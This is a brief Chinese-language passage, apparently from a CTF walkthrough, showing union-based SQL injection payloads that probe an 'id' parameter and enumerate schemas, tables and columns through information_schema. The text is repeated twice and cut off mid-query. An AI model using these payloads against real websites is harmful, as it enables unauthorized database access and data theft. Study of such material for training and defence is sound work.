id=1' :报错,说明就是用这个闭合的 ?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+ ?id=0' union select 1,2,group_concat(column_n...
id=1' :报错,说明就是用这个闭合的 ?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+ ?id=0' union select 1,2,group_concat(column_n...